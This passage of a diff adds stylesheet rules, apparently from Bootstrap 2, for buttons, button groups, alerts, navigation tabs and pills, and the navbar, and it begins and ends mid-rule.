+ vertical-align: middle; + cursor: pointer; + background-color: #f5f5f5; + *background-color: #e6e6e6; + background-image: -moz-linear-gradient(top, #ffffff, #e6e6e6); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#e6e6e6)); + background-image: -webkit-linear-gradient(top, #ffffff, #e6e6e6); + background-image: -o-linear-gradient(top, #ffffff, #e6e6e6); + background-image: linear-gradient(to bottom, #ffffff, #e6e6e6); + background-repeat: repeat-x; + border: 1px solid #cccccc; + *border: 0; + border-color: #e6e6e6 #e6e6e6 #bfbfbf; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + border-bottom-color: #b3b3b3; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#ffe6e6e6', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); + *zoom: 1; + -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); + -moz-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); + box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); +} + +.btn:hover, +.btn:focus, +.btn:active, +.btn.active, +.btn.disabled, +.btn[disabled] { + color: #333333; + background-color: #e6e6e6; + *background-color: #d9d9d9; +} + +.btn:active, +.btn.active { + background-color: #cccccc \9; +} + +.btn:first-child { + *margin-left: 0; +} + +.btn:hover, +.btn:focus { + color: #333333; + text-decoration: none; + background-position: 0 -15px; + -webkit-transition: background-position 0.1s linear; + -moz-transition: background-position 0.1s linear; + -o-transition: background-position 0.1s linear; + transition: background-position 0.1s linear; +} + +.btn:focus { + outline: thin dotted #333; + outline: 5px auto -webkit-focus-ring-color; + outline-offset: -2px; +} + +.btn.active, +.btn:active { + background-image: none; + outline: 0; + -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); + -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); + box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); +} + +.btn.disabled, +.btn[disabled] { + cursor: default; + background-image: none; + opacity: 0.65; + filter: alpha(opacity=65); + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} + +.btn-large { + padding: 11px 19px; + font-size: 17.5px; + -webkit-border-radius: 6px; + -moz-border-radius: 6px; + border-radius: 6px; +} + +.btn-large [class^="icon-"], +.btn-large [class*=" icon-"] { + margin-top: 4px; +} + +.btn-small { + padding: 2px 10px; + font-size: 11.9px; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} + +.btn-small [class^="icon-"], +.btn-small [class*=" icon-"] { + margin-top: 0; +} + +.btn-mini [class^="icon-"], +.btn-mini [class*=" icon-"] { + margin-top: -1px; +} + +.btn-mini { + padding: 0 6px; + font-size: 10.5px; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} + +.btn-block { + display: block; + width: 100%; + padding-right: 0; + padding-left: 0; + -webkit-box-sizing: border-box; + -moz-box-sizing: border-box; + box-sizing: border-box; +} + +.btn-block + .btn-block { + margin-top: 5px; +} + +input[type="submit"].btn-block, +input[type="reset"].btn-block, +input[type="button"].btn-block { + width: 100%; +} + +.btn-primary.active, +.btn-warning.active, +.btn-danger.active, +.btn-success.active, +.btn-info.active, +.btn-inverse.active { + color: rgba(255, 255, 255, 0.75); +} + +.btn-primary { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #006dcc; + *background-color: #0044cc; + background-image: -moz-linear-gradient(top, #0088cc, #0044cc); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0044cc)); + background-image: -webkit-linear-gradient(top, #0088cc, #0044cc); + background-image: -o-linear-gradient(top, #0088cc, #0044cc); + background-image: linear-gradient(to bottom, #0088cc, #0044cc); + background-repeat: repeat-x; + border-color: #0044cc #0044cc #002a80; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0044cc', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); +} + +.btn-primary:hover, +.btn-primary:focus, +.btn-primary:active, +.btn-primary.active, +.btn-primary.disabled, +.btn-primary[disabled] { + color: #ffffff; + background-color: #0044cc; + *background-color: #003bb3; +} + +.btn-primary:active, +.btn-primary.active { + background-color: #003399 \9; +} + +.btn-warning { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #faa732; + *background-color: #f89406; + background-image: -moz-linear-gradient(top, #fbb450, #f89406); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#fbb450), to(#f89406)); + background-image: -webkit-linear-gradient(top, #fbb450, #f89406); + background-image: -o-linear-gradient(top, #fbb450, #f89406); + background-image: linear-gradient(to bottom, #fbb450, #f89406); + background-repeat: repeat-x; + border-color: #f89406 #f89406 #ad6704; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fffbb450', endColorstr='#fff89406', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); +} + +.btn-warning:hover, +.btn-warning:focus, +.btn-warning:active, +.btn-warning.active, +.btn-warning.disabled, +.btn-warning[disabled] { + color: #ffffff; + background-color: #f89406; + *background-color: #df8505; +} + +.btn-warning:active, +.btn-warning.active { + background-color: #c67605 \9; +} + +.btn-danger { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #da4f49; + *background-color: #bd362f; + background-image: -moz-linear-gradient(top, #ee5f5b, #bd362f); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ee5f5b), to(#bd362f)); + background-image: -webkit-linear-gradient(top, #ee5f5b, #bd362f); + background-image: -o-linear-gradient(top, #ee5f5b, #bd362f); + background-image: linear-gradient(to bottom, #ee5f5b, #bd362f); + background-repeat: repeat-x; + border-color: #bd362f #bd362f #802420; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffee5f5b', endColorstr='#ffbd362f', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); +} + +.btn-danger:hover, +.btn-danger:focus, +.btn-danger:active, +.btn-danger.active, +.btn-danger.disabled, +.btn-danger[disabled] { + color: #ffffff; + background-color: #bd362f; + *background-color: #a9302a; +} + +.btn-danger:active, +.btn-danger.active { + background-color: #942a25 \9; +} + +.btn-success { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #5bb75b; + *background-color: #51a351; + background-image: -moz-linear-gradient(top, #62c462, #51a351); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#62c462), to(#51a351)); + background-image: -webkit-linear-gradient(top, #62c462, #51a351); + background-image: -o-linear-gradient(top, #62c462, #51a351); + background-image: linear-gradient(to bottom, #62c462, #51a351); + background-repeat: repeat-x; + border-color: #51a351 #51a351 #387038; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff62c462', endColorstr='#ff51a351', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); +} + +.btn-success:hover, +.btn-success:focus, +.btn-success:active, +.btn-success.active, +.btn-success.disabled, +.btn-success[disabled] { + color: #ffffff; + background-color: #51a351; + *background-color: #499249; +} + +.btn-success:active, +.btn-success.active { + background-color: #408140 \9; +} + +.btn-info { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #49afcd; + *background-color: #2f96b4; + background-image: -moz-linear-gradient(top, #5bc0de, #2f96b4); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#5bc0de), to(#2f96b4)); + background-image: -webkit-linear-gradient(top, #5bc0de, #2f96b4); + background-image: -o-linear-gradient(top, #5bc0de, #2f96b4); + background-image: linear-gradient(to bottom, #5bc0de, #2f96b4); + background-repeat: repeat-x; + border-color: #2f96b4 #2f96b4 #1f6377; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff5bc0de', endColorstr='#ff2f96b4', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); +} + +.btn-info:hover, +.btn-info:focus, +.btn-info:active, +.btn-info.active, +.btn-info.disabled, +.btn-info[disabled] { + color: #ffffff; + background-color: #2f96b4; + *background-color: #2a85a0; +} + +.btn-info:active, +.btn-info.active { + background-color: #24748c \9; +} + +.btn-inverse { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25); + background-color: #363636; + *background-color: #222222; + background-image: -moz-linear-gradient(top, #444444, #222222); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#444444), to(#222222)); + background-image: -webkit-linear-gradient(top, #444444, #222222); + background-image: -o-linear-gradient(top, #444444, #222222); + background-image: linear-gradient(to bottom, #444444, #222222); + background-repeat: repeat-x; + border-color: #222222 #222222 #000000; + border-color: rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.25); + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff444444', endColorstr='#ff222222', GradientType=0); + filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); +} + +.btn-inverse:hover, +.btn-inverse:focus, +.btn-inverse:active, +.btn-inverse.active, +.btn-inverse.disabled, +.btn-inverse[disabled] { + color: #ffffff; + background-color: #222222; + *background-color: #151515; +} + +.btn-inverse:active, +.btn-inverse.active { + background-color: #080808 \9; +} + +button.btn, +input[type="submit"].btn { + *padding-top: 3px; + *padding-bottom: 3px; +} + +button.btn::-moz-focus-inner, +input[type="submit"].btn::-moz-focus-inner { + padding: 0; + border: 0; +} + +button.btn.btn-large, +input[type="submit"].btn.btn-large { + *padding-top: 7px; + *padding-bottom: 7px; +} + +button.btn.btn-small, +input[type="submit"].btn.btn-small { + *padding-top: 3px; + *padding-bottom: 3px; +} + +button.btn.btn-mini, +input[type="submit"].btn.btn-mini { + *padding-top: 1px; + *padding-bottom: 1px; +} + +.btn-link, +.btn-link:active, +.btn-link[disabled] { + background-color: transparent; + background-image: none; + -webkit-box-shadow: none; + -moz-box-shadow: none; + box-shadow: none; +} + +.btn-link { + color: #0088cc; + cursor: pointer; + border-color: transparent; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} + +.btn-link:hover, +.btn-link:focus { + color: #005580; + text-decoration: underline; + background-color: transparent; +} + +.btn-link[disabled]:hover, +.btn-link[disabled]:focus { + color: #333333; + text-decoration: none; +} + +.btn-group { + position: relative; + display: inline-block; + *display: inline; + *margin-left: .3em; + font-size: 0; + white-space: nowrap; + vertical-align: middle; + *zoom: 1; +} + +.btn-group:first-child { + *margin-left: 0; +} + +.btn-group + .btn-group { + margin-left: 5px; +} + +.btn-toolbar { + margin-top: 10px; + margin-bottom: 10px; + font-size: 0; +} + +.btn-toolbar > .btn + .btn, +.btn-toolbar > .btn-group + .btn, +.btn-toolbar > .btn + .btn-group { + margin-left: 5px; +} + +.btn-group > .btn { + position: relative; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} + +.btn-group > .btn + .btn { + margin-left: -1px; +} + +.btn-group > .btn, +.btn-group > .dropdown-menu, +.btn-group > .popover { + font-size: 14px; +} + +.btn-group > .btn-mini { + font-size: 10.5px; +} + +.btn-group > .btn-small { + font-size: 11.9px; +} + +.btn-group > .btn-large { + font-size: 17.5px; +} + +.btn-group > .btn:first-child { + margin-left: 0; + -webkit-border-bottom-left-radius: 4px; + border-bottom-left-radius: 4px; + -webkit-border-top-left-radius: 4px; + border-top-left-radius: 4px; + -moz-border-radius-bottomleft: 4px; + -moz-border-radius-topleft: 4px; +} + +.btn-group > .btn:last-child, +.btn-group > .dropdown-toggle { + -webkit-border-top-right-radius: 4px; + border-top-right-radius: 4px; + -webkit-border-bottom-right-radius: 4px; + border-bottom-right-radius: 4px; + -moz-border-radius-topright: 4px; + -moz-border-radius-bottomright: 4px; +} + +.btn-group > .btn.large:first-child { + margin-left: 0; + -webkit-border-bottom-left-radius: 6px; + border-bottom-left-radius: 6px; + -webkit-border-top-left-radius: 6px; + border-top-left-radius: 6px; + -moz-border-radius-bottomleft: 6px; + -moz-border-radius-topleft: 6px; +} + +.btn-group > .btn.large:last-child, +.btn-group > .large.dropdown-toggle { + -webkit-border-top-right-radius: 6px; + border-top-right-radius: 6px; + -webkit-border-bottom-right-radius: 6px; + border-bottom-right-radius: 6px; + -moz-border-radius-topright: 6px; + -moz-border-radius-bottomright: 6px; +} + +.btn-group > .btn:hover, +.btn-group > .btn:focus, +.btn-group > .btn:active, +.btn-group > .btn.active { + z-index: 2; +} + +.btn-group .dropdown-toggle:active, +.btn-group.open .dropdown-toggle { + outline: 0; +} + +.btn-group > .btn + .dropdown-toggle { + *padding-top: 5px; + padding-right: 8px; + *padding-bottom: 5px; + padding-left: 8px; + -webkit-box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); + -moz-box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); + box-shadow: inset 1px 0 0 rgba(255, 255, 255, 0.125), inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05); +} + +.btn-group > .btn-mini + .dropdown-toggle { + *padding-top: 2px; + padding-right: 5px; + *padding-bottom: 2px; + padding-left: 5px; +} + +.btn-group > .btn-small + .dropdown-toggle { + *padding-top: 5px; + *padding-bottom: 4px; +} + +.btn-group > .btn-large + .dropdown-toggle { + *padding-top: 7px; + padding-right: 12px; + *padding-bottom: 7px; + padding-left: 12px; +} + +.btn-group.open .dropdown-toggle { + background-image: none; + -webkit-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); + -moz-box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); + box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.15), 0 1px 2px rgba(0, 0, 0, 0.05); +} + +.btn-group.open .btn.dropdown-toggle { + background-color: #e6e6e6; +} + +.btn-group.open .btn-primary.dropdown-toggle { + background-color: #0044cc; +} + +.btn-group.open .btn-warning.dropdown-toggle { + background-color: #f89406; +} + +.btn-group.open .btn-danger.dropdown-toggle { + background-color: #bd362f; +} + +.btn-group.open .btn-success.dropdown-toggle { + background-color: #51a351; +} + +.btn-group.open .btn-info.dropdown-toggle { + background-color: #2f96b4; +} + +.btn-group.open .btn-inverse.dropdown-toggle { + background-color: #222222; +} + +.btn .caret { + margin-top: 8px; + margin-left: 0; +} + +.btn-large .caret { + margin-top: 6px; +} + +.btn-large .caret { + border-top-width: 5px; + border-right-width: 5px; + border-left-width: 5px; +} + +.btn-mini .caret, +.btn-small .caret { + margin-top: 8px; +} + +.dropup .btn-large .caret { + border-bottom-width: 5px; +} + +.btn-primary .caret, +.btn-warning .caret, +.btn-danger .caret, +.btn-info .caret, +.btn-success .caret, +.btn-inverse .caret { + border-top-color: #ffffff; + border-bottom-color: #ffffff; +} + +.btn-group-vertical { + display: inline-block; + *display: inline; + /* IE7 inline-block hack */ + + *zoom: 1; +} + +.btn-group-vertical > .btn { + display: block; + float: none; + max-width: 100%; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} + +.btn-group-vertical > .btn + .btn { + margin-top: -1px; + margin-left: 0; +} + +.btn-group-vertical > .btn:first-child { + -webkit-border-radius: 4px 4px 0 0; + -moz-border-radius: 4px 4px 0 0; + border-radius: 4px 4px 0 0; +} + +.btn-group-vertical > .btn:last-child { + -webkit-border-radius: 0 0 4px 4px; + -moz-border-radius: 0 0 4px 4px; + border-radius: 0 0 4px 4px; +} + +.btn-group-vertical > .btn-large:first-child { + -webkit-border-radius: 6px 6px 0 0; + -moz-border-radius: 6px 6px 0 0; + border-radius: 6px 6px 0 0; +} + +.btn-group-vertical > .btn-large:last-child { + -webkit-border-radius: 0 0 6px 6px; + -moz-border-radius: 0 0 6px 6px; + border-radius: 0 0 6px 6px; +} + +.alert { + padding: 8px 35px 8px 14px; + margin-bottom: 20px; + text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); + background-color: #fcf8e3; + border: 1px solid #fbeed5; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; +} + +.alert, +.alert h4 { + color: #c09853; +} + +.alert h4 { + margin: 0; +} + +.alert .close { + position: relative; + top: -2px; + right: -21px; + line-height: 20px; +} + +.alert-success { + color: #468847; + background-color: #dff0d8; + border-color: #d6e9c6; +} + +.alert-success h4 { + color: #468847; +} + +.alert-danger, +.alert-error { + color: #b94a48; + background-color: #f2dede; + border-color: #eed3d7; +} + +.alert-danger h4, +.alert-error h4 { + color: #b94a48; +} + +.alert-info { + color: #3a87ad; + background-color: #d9edf7; + border-color: #bce8f1; +} + +.alert-info h4 { + color: #3a87ad; +} + +.alert-block { + padding-top: 14px; + padding-bottom: 14px; +} + +.alert-block > p, +.alert-block > ul { + margin-bottom: 0; +} + +.alert-block p + p { + margin-top: 5px; +} + +.nav { + margin-bottom: 20px; + margin-left: 0; + list-style: none; +} + +.nav > li > a { + display: block; +} + +.nav > li > a:hover, +.nav > li > a:focus { + text-decoration: none; + background-color: #eeeeee; +} + +.nav > li > a > img { + max-width: none; +} + +.nav > .pull-right { + float: right; +} + +.nav-header { + display: block; + padding: 3px 15px; + font-size: 11px; + font-weight: bold; + line-height: 20px; + color: #999999; + text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); + text-transform: uppercase; +} + +.nav li + .nav-header { + margin-top: 9px; +} + +.nav-list { + padding-right: 15px; + padding-left: 15px; + margin-bottom: 0; +} + +.nav-list > li > a, +.nav-list .nav-header { + margin-right: -15px; + margin-left: -15px; + text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5); +} + +.nav-list > li > a { + padding: 3px 15px; +} + +.nav-list > .active > a, +.nav-list > .active > a:hover, +.nav-list > .active > a:focus { + color: #ffffff; + text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.2); + background-color: #0088cc; +} + +.nav-list [class^="icon-"], +.nav-list [class*=" icon-"] { + margin-right: 2px; +} + +.nav-list .divider { + *width: 100%; + height: 1px; + margin: 9px 1px; + *margin: -5px 0 5px; + overflow: hidden; + background-color: #e5e5e5; + border-bottom: 1px solid #ffffff; +} + +.nav-tabs, +.nav-pills { + *zoom: 1; +} + +.nav-tabs:before, +.nav-pills:before, +.nav-tabs:after, +.nav-pills:after { + display: table; + line-height: 0; + content: ""; +} + +.nav-tabs:after, +.nav-pills:after { + clear: both; +} + +.nav-tabs > li, +.nav-pills > li { + float: left; +} + +.nav-tabs > li > a, +.nav-pills > li > a { + padding-right: 12px; + padding-left: 12px; + margin-right: 2px; + line-height: 14px; +} + +.nav-tabs { + border-bottom: 1px solid #ddd; +} + +.nav-tabs > li { + margin-bottom: -1px; +} + +.nav-tabs > li > a { + padding-top: 8px; + padding-bottom: 8px; + line-height: 20px; + border: 1px solid transparent; + -webkit-border-radius: 4px 4px 0 0; + -moz-border-radius: 4px 4px 0 0; + border-radius: 4px 4px 0 0; +} + +.nav-tabs > li > a:hover, +.nav-tabs > li > a:focus { + border-color: #eeeeee #eeeeee #dddddd; +} + +.nav-tabs > .active > a, +.nav-tabs > .active > a:hover, +.nav-tabs > .active > a:focus { + color: #555555; + cursor: default; + background-color: #ffffff; + border: 1px solid #ddd; + border-bottom-color: transparent; +} + +.nav-pills > li > a { + padding-top: 8px; + padding-bottom: 8px; + margin-top: 2px; + margin-bottom: 2px; + -webkit-border-radius: 5px; + -moz-border-radius: 5px; + border-radius: 5px; +} + +.nav-pills > .active > a, +.nav-pills > .active > a:hover, +.nav-pills > .active > a:focus { + color: #ffffff; + background-color: #0088cc; +} + +.nav-stacked > li { + float: none; +} + +.nav-stacked > li > a { + margin-right: 0; +} + +.nav-tabs.nav-stacked { + border-bottom: 0; +} + +.nav-tabs.nav-stacked > li > a { + border: 1px solid #ddd; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} + +.nav-tabs.nav-stacked > li:first-child > a { + -webkit-border-top-right-radius: 4px; + border-top-right-radius: 4px; + -webkit-border-top-left-radius: 4px; + border-top-left-radius: 4px; + -moz-border-radius-topright: 4px; + -moz-border-radius-topleft: 4px; +} + +.nav-tabs.nav-stacked > li:last-child > a { + -webkit-border-bottom-right-radius: 4px; + border-bottom-right-radius: 4px; + -webkit-border-bottom-left-radius: 4px; + border-bottom-left-radius: 4px; + -moz-border-radius-bottomright: 4px; + -moz-border-radius-bottomleft: 4px; +} + +.nav-tabs.nav-stacked > li > a:hover, +.nav-tabs.nav-stacked > li > a:focus { + z-index: 2; + border-color: #ddd; +} + +.nav-pills.nav-stacked > li > a { + margin-bottom: 3px; +} + +.nav-pills.nav-stacked > li:last-child > a { + margin-bottom: 1px; +} + +.nav-tabs .dropdown-menu { + -webkit-border-radius: 0 0 6px 6px; + -moz-border-radius: 0 0 6px 6px; + border-radius: 0 0 6px 6px; +} + +.nav-pills .dropdown-menu { + -webkit-border-radius: 6px; + -moz-border-radius: 6px; + border-radius: 6px; +} + +.nav .dropdown-toggle .caret { + margin-top: 6px; + border-top-color: #0088cc; + border-bottom-color: #0088cc; +} + +.nav .dropdown-toggle:hover .caret, +.nav .dropdown-toggle:focus .caret { + border-top-color: #005580; + border-bottom-color: #005580; +} + +/* move down carets for tabs */ + +.nav-tabs .dropdown-toggle .caret { + margin-top: 8px; +} + +.nav .active .dropdown-toggle .caret { + border-top-color: #fff; + border-bottom-color: #fff; +} + +.nav-tabs .active .dropdown-toggle .caret { + border-top-color: #555555; + border-bottom-color: #555555; +} + +.nav > .dropdown.active > a:hover, +.nav > .dropdown.active > a:focus { + cursor: pointer; +} + +.nav-tabs .open .dropdown-toggle, +.nav-pills .open .dropdown-toggle, +.nav > li.dropdown.open.active > a:hover, +.nav > li.dropdown.open.active > a:focus { + color: #ffffff; + background-color: #999999; + border-color: #999999; +} + +.nav li.dropdown.open .caret, +.nav li.dropdown.open.active .caret, +.nav li.dropdown.open a:hover .caret, +.nav li.dropdown.open a:focus .caret { + border-top-color: #ffffff; + border-bottom-color: #ffffff; + opacity: 1; + filter: alpha(opacity=100); +} + +.tabs-stacked .open > a:hover, +.tabs-stacked .open > a:focus { + border-color: #999999; +} + +.tabbable { + *zoom: 1; +} + +.tabbable:before, +.tabbable:after { + display: table; + line-height: 0; + content: ""; +} + +.tabbable:after { + clear: both; +} + +.tab-content { + overflow: auto; +} + +.tabs-below > .nav-tabs, +.tabs-right > .nav-tabs, +.tabs-left > .nav-tabs { + border-bottom: 0; +} + +.tab-content > .tab-pane, +.pill-content > .pill-pane { + display: none; +} + +.tab-content > .active, +.pill-content > .active { + display: block; +} + +.tabs-below > .nav-tabs { + border-top: 1px solid #ddd; +} + +.tabs-below > .nav-tabs > li { + margin-top: -1px; + margin-bottom: 0; +} + +.tabs-below > .nav-tabs > li > a { + -webkit-border-radius: 0 0 4px 4px; + -moz-border-radius: 0 0 4px 4px; + border-radius: 0 0 4px 4px; +} + +.tabs-below > .nav-tabs > li > a:hover, +.tabs-below > .nav-tabs > li > a:focus { + border-top-color: #ddd; + border-bottom-color: transparent; +} + +.tabs-below > .nav-tabs > .active > a, +.tabs-below > .nav-tabs > .active > a:hover, +.tabs-below > .nav-tabs > .active > a:focus { + border-color: transparent #ddd #ddd #ddd; +} + +.tabs-left > .nav-tabs > li, +.tabs-right > .nav-tabs > li { + float: none; +} + +.tabs-left > .nav-tabs > li > a, +.tabs-right > .nav-tabs > li > a { + min-width: 74px; + margin-right: 0; + margin-bottom: 3px; +} + +.tabs-left > .nav-tabs { + float: left; + margin-right: 19px; + border-right: 1px solid #ddd; +} + +.tabs-left > .nav-tabs > li > a { + margin-right: -1px; + -webkit-border-radius: 4px 0 0 4px; + -moz-border-radius: 4px 0 0 4px; + border-radius: 4px 0 0 4px; +} + +.tabs-left > .nav-tabs > li > a:hover, +.tabs-left > .nav-tabs > li > a:focus { + border-color: #eeeeee #dddddd #eeeeee #eeeeee; +} + +.tabs-left > .nav-tabs .active > a, +.tabs-left > .nav-tabs .active > a:hover, +.tabs-left > .nav-tabs .active > a:focus { + border-color: #ddd transparent #ddd #ddd; + *border-right-color: #ffffff; +} + +.tabs-right > .nav-tabs { + float: right; + margin-left: 19px; + border-left: 1px solid #ddd; +} + +.tabs-right > .nav-tabs > li > a { + margin-left: -1px; + -webkit-border-radius: 0 4px 4px 0; + -moz-border-radius: 0 4px 4px 0; + border-radius: 0 4px 4px 0; +} + +.tabs-right > .nav-tabs > li > a:hover, +.tabs-right > .nav-tabs > li > a:focus { + border-color: #eeeeee #eeeeee #eeeeee #dddddd; +} + +.tabs-right > .nav-tabs .active > a, +.tabs-right > .nav-tabs .active > a:hover, +.tabs-right > .nav-tabs .active > a:focus { + border-color: #ddd #ddd #ddd transparent; + *border-left-color: #ffffff; +} + +.nav > .disabled > a { + color: #999999; +} + +.nav > .disabled > a:hover, +.nav > .disabled > a:focus { + text-decoration: none; + cursor: default; + background-color: transparent; +} + +.navbar { + *position: relative; + *z-index: 2; + margin-bottom: 20px; + overflow: visible; +} + +.navbar-inner { + min-height: 40px; + padding-right: 20px; + padding-left: 20px; + background-color: #fafafa; + background-image: -moz-linear-gradient(top, #ffffff, #f2f2f2); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#ffffff), to(#f2f2f2)); + background-image: -webkit-linear-gradient(top, #ffffff, #f2f2f2); + background-image: -o-linear-gradient(top, #ffffff, #f2f2f2); + background-image: linear-gradient(to bottom, #ffffff, #f2f2f2); + background-repeat: repeat-x; + border: 1px solid #d4d4d4; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffffffff', endColorstr='#fff2f2f2', GradientType=0); + *zoom: 1; + -webkit-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.065); + -moz-box-shadow: 0 1px 4px rgba(0, 0, 0, 0.065); + box-shadow: 0 1px 4px rgba(0, 0, 0, 0.065); +} + +.navbar-inner:before, +.navbar-inner:after { + display: table; + line-height: 0; + content: ""; +} + +.navbar-inner:after { + clear: both; +} + +.navbar .container { + width: auto; +} + +.nav-collapse.collapse { + height: auto; + overflow: visible; +} + +.navbar .brand { + display: block; + float: left; + padding: 10px 20px 10px; + margin-left: -20px; + font-size: 20px; + font-weight: 200; + color: #777777; + text-shadow: 0 1px 0 #ffffff; +} + +.navbar .brand:hover, +.navbar .brand:focus { + text-decoration: none; +} + +.navbar-text { + margin-bottom: 0; + line-height: 40px; + color: #777777; +} + +.navbar-link { + color: #777777; +} + +.navbar-link:hover, +.navbar-link:focus { + color: #333333; +} + +.navbar .divider-vertical { + height: 40px; + margin: 0 9px; + border-right: 1px solid #ffffff; + border-left: 1px solid #f2f2f2; +} + +.navbar .btn, +.navbar .btn-group { + margin-top: 5px; +} + +.navbar .btn-group .btn, +.navbar .input-prepend .btn, +.navbar .input-append .btn, +.navbar .input-prepend .btn-group, +.navbar .input-append .btn-group { + margin-top: 0; +} + +.navbar-form { + margin-bottom: 0; + *zoom: 1; +} + +.navbar-form:before, +.navbar-form:after { + display: table; + line-height: 0; + content: ""; +} + +.navbar-form:after { + clear: both; +} + +.navbar-form input, +.navbar-form select, +.navbar-form .radio, +.navbar-form .checkbox { + margin-top: 5px; +} + +.navbar-form input, +.navbar-form select, +.navbar-form .btn { + display: inline-block; + margin-bottom: 0; +} + +.navbar-form input[type="image"], +.navbar-form input[type="checkbox"], +.navbar-form input[type="radio"] { + margin-top: 3px; +} + +.navbar-form .input-append, +.navbar-form .input-prepend { + margin-top: 5px; + white-space: nowrap; +} + +.navbar-form .input-append input, +.navbar-form .input-prepend input { + margin-top: 0; +} + +.navbar-search { + position: relative; + float: left; + margin-top: 5px; + margin-bottom: 0; +} + +.navbar-search .search-query { + padding: 4px 14px; + margin-bottom: 0; + font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; + font-size: 13px; + font-weight: normal; + line-height: 1; + -webkit-border-radius: 15px; + -moz-border-radius: 15px; + border-radius: 15px; +} + +.navbar-static-top { + position: static; + margin-bottom: 0; +} + +.navbar-static-top .navbar-inner { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} + +.navbar-fixed-top, +.navbar-fixed-bottom { + position: fixed; + right: 0; + left: 0; + z-index: 1030; + margin-bottom: 0; +} + +.navbar-fixed-top .navbar-inner, +.navbar-static-top .navbar-inner { + border-width: 0 0 1px; +} + +.navbar-fixed-bottom .navbar-inner { + border-width: 1px 0 0; +} + +.navbar-fixed-top .navbar-inner, 